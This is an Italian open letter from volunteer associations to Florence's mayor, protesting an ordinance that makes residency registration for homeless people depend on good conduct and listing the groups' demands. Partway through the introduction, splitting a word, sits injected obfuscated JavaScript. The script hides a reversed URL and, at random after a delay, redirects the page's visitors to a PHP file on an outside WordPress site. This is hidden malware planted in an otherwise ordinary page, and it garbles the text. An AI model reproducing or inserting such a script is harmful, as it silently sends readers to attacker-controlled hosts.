Il diritto di esistere – Lettera aperta al Sindaco Domenici

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Un gruppo di associazioni di volontariato, attive da anni a fianco delle
persone senza fissa dimora, contesta decisamente la recente ordinanza del
Sindaco di Firenze in materia di residenza e percorsi di inclusione
sociale. In particolare si constata come l’ordinanza non recepisca in alcun
modo le indicazioni delle associazioni, ma anzi vanifichi il lavoro svolto
fin qui, subordin (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando inoltre il diritto alla residenza alla verifica della
‘buona condotta’.
Qui di seguito il testo integrale della lettera aperta al Sindaco Domenici,
sottoscritta da: ADM, Gli Anelli Mancanti, Il Muretto, l’Aurora, Periferie
al Centro/Fuori Binario, Ronda della Carità, Casa dei Diritti Sociali,
Comunità dell’Isolotto – CEP, Fondazione Devoto, Fondazione Michelucci.

IL DIRITTO DI ESISTERE – Lettera aperta al Sindaco

Le persone senza l’iscrizione anagrafica sono ‘NON PERSONE’, perché di
fatto si vedono negati i diritti basilari sanciti dalla Costituzione
Italiana: la possibilità di beneficiare della pensione, dell’istruzione,del
sistema sanitario nazionale, di una regolare assunzione lavorativa e non
ultimo il diritto al voto.
Per questa ragione:
in questi ultimi dieci anni un gruppo di Associazioni (denominato ‘Cartello
per le Residenze’) mettendo a disposizione le proprie sedi ha consentito
l’Iscrizione Anagrafica a quei cittadini che potevano dimostrare,
attraverso la frequentazione delle sedi delle associazioni, la loro
presenza sul territorio comunale.
Queste stesse Associazioni hanno constatato che le persone si sono avvalse
di questa opportunità per ritrovare visibilità, uscendo dalla clandestinità
forzata e dimostrare con dignità la propria identità.
L’Iscrizione Anagrafica serve:
– a ritrovare visibilità
– a uscire dal lavoro sommerso
– a ottenere il riconoscimento della pensione per l’anziano solo
– a esercitare il diritto alla difesa (conoscendo con la notifica gli atti
pendenti)
Il servizio svolto dalle Associazioni (esclusivamente con lavoro
volontario) ha permesso, in definitiva, di fare riprendere in mano la
propria vita alle persone, favorendone l’autopromozione.
Inoltre, anche se può apparire secondario, un recapito individuabile e
costante ha consentito in molti casi di recuperare relazioni affettive
familiari e amicali.

La Sua Ordinanza
Al primo punto, non solo cancella l’esperienza acquisita, ma rende
impossibile l’iscrizione anagrafica per la maggior parte delle persone che
ne fanno richiesta.
Un luogo stabile quale era, per esempio, la sede delle Associazioni
permetteva di ovviare alla difficoltà soggettiva del così detto
‘accertamento’.
Inoltre la creazione di una via virtuale fa perdere quella possibilità, per
il cittadino, di ricevere la posta e, di conseguenza, di riallacciare
rapporti interpersonali.
Al secondo punto prevede la selezione di un esiguo numero di persone che, a
seguito di un programma sociale e della verifica del loro comportamento,
riduca il diritto alla Residenza a una discrezionale concessione premiale.
Infine si legge di un avvenuto confronto con le Associazioni, che avrebbe
portato alla definizione di questa nuova procedura. Di fatto tale percorso
è stato più volte contestato dalle Associazioni che, in uno spirito di
collaborazione che ritenevano reciproco e costruttivo, hanno inoltrato
delle proposte, completamente ignorate dalle Istituzioni.
Il permanere di questa Ordinanza incrina il rapporto di collaborazione che
il Volontariato ha sempre offerto al Comune, volto soprattutto a mantenere
vivo il desiderio di democrazia e di partecipazione attiva.

Pertanto ribadiamo che è necessario:

1) Tenere ben distinti il DIRITTO ALLA RESIDENZA dall’eventuale percorso
sociale.
2) Stabilire insieme le possibilità e modalità di accertamento della
presenza sul territorio dei richiedenti la residenza.
3) Salvaguardare il diritto di ricevere la corrispondenza personale
attraverso un luogo reale dove trovare la posta; per esempio presso la sede
dei Quartieri fiorentini.

Le Associazioni rappresentano e tutelano le persone più fragili. Auspicano
pertanto un ripensamento di questa Ordinanza, indispensabile per il
mantenimento di una reale partecipazione democratica e di un confronto
attivo.

Associazione ADM
Associazione Gli Anelli Mancanti
Associazione Il Muretto
Associazione Aurora
Associazione Periferie al Centro/ Fuori Binario
Associazione Ronda della Carità
Casa dei Diritti Sociali
Comunità dell’Isolotto – CEP
Fondazione Devoto
Fondazione Michelucci

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